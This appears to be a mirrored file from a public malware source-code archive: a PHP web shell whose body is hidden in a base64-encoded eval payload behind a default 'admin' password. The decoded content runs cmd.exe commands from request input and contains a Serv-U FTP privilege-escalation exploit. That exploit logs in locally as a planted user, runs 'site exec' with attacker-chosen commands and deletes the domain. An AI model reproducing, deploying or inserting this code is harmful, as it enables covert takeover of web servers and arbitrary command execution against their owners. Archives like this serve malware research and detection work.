mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 20:05:26 +00:00
3 lines
82 KiB
Plaintext
3 lines
82 KiB
Plaintext
<?php
|
|
$admin['pass'] = "admin"; //修改密码
|
|
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSAiMSI7DQoNCiRyZXRpbWUgPSAibm8iOw0KDQokY21kID0gImNtZC5leGUiOw0KDQokb25vZmYgPSAoZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpID8gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpIDogZ2V0X2NmZ192YXIoJ3JlZ2lzdGVyX2dsb2JhbHMnKTsNCg0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJF9QT1NULCBFWFRSX1NLSVApOw0KCUBleHRyYWN0KCRfR0VULCBFWFRSX1NLSVApOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7DQoNCg0KaWYoJGFkbWluWydjaGVjayddID09ICIxIikgew0KCWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gImxvZ291dCIpIHsNCgkJc2V0Y29va2llICgiYWRtaW5wYXNzIiwgIiIpOw0KCQllY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO1VSTD0iLiRzZWxmLiJcIj4iOw0KCQlleGl0Ow0KCX0NCg0KCWlmICgkX1BPU1RbJ2RvJ10gPT0gJ2xvZ2luJykgew0KCQkkdGhlcGFzcz10cmltKCRfUE9TVFsnYWRtaW5wYXNzJ10pOw0KCQlp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AgICAgICItSVA9MC4wLjAuMFxyXG4iLg0KICAgICAgICAgICAgICAgICItUG9ydE5vPTIxMjFcclxuIi4NCiAgICAgICAgICAgICAgICAiLVVzZXI9V2lsbF9CZVxyXG4iLg0KICAgICAgICAgICAgICAgICItUGFzc3dvcmQ9V2lsbF9CZVxyXG4iLg0KICAgICAgICAgICAgICAgICItSG9tZURpcj1jOlxcXHJcbiIuDQogICAgICAgICAgICAgICAgIi1Mb2dpbk1lc0ZpbGU9XHJcbiIuDQogICAgICAgICAgICAgICAgIi1EaXNhYmxlPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVJlbFBhdGhzPTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLU5lZWRTZWN1cmU9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItSGlkZUhpZGRlbj0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1BbHdheXNBbGxvd0xvZ2luPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLUNoYW5nZVBhc3N3b3JkPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVF1b3RhRW5hYmxlPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLU1heFVzZXJzTG9naW5QZXJJUD0tMVxyXG4iLg0KICAgICAgICAgICAgICAgICItU3BlZWRMaW1pdFVwPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVNwZWVkTGltaXREb3duPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLU1heE5yVXNlcnM9LTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLUlkbGVUaW1lT3V0PTYwMFxyXG4iLg0KICAgICAgICAgICAgICAgICItU2Vzc2lvblRpbWVPdXQ9LTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLUV4cGlyZT0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1SYXRpb1VwPTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLVJhdGlvRG93bj0xXHJcbiIuDQogICAgICAgICAgICAgICAgIi1SYXRpb3NDcmVk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Sk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgIGVjaG8gIioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IjsNCiAgICAgICAgZWNobyAiU3RhcnRpbmcgRXhwbG9pdCAuLi48YnI+IjsNCiAgICAgICAgZWNobyAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjxicj4iOw0KICAgICAgICAkZXhwID0gZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAiMjEyMSIsICYkZXJybm8sICYkZXJyc3RyLCAxMCk7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJGV4cCwgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAiVVNFUiBXaWxsX0JlXHJcbiI7DQogICAgICAgIGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiAkc2VuZGJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkZXhwLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICJQQVNTIFdpbGxfQmVcclxuIjsNCiAgICAgICAgZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRleHAsIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gInNpdGUgZXhlYyAiLiRfUE9TVFsiU1VDb21tYW5kIl0uIlxyXG4iOw0KICAgICAgICBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogc2l0ZSBleGVjPC9mb250PiA8Zm9udCBjb2xvcj1ncmVlbj4iLiRfUE9TVFsiU1VDb21tYW5kIl0uIjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkZXhwLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICBlY2hvICIqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqPGJyPiI7DQogICAgICAgIGVjaG8gIlN0YXJ0aW5nIERlbGV0ZSBEb21haW4gLi4uPGJyPiI7DQogICAgICAgIGVjaG8gIioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAkZGVsZG9tYWluOw0KICAgICAgICBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250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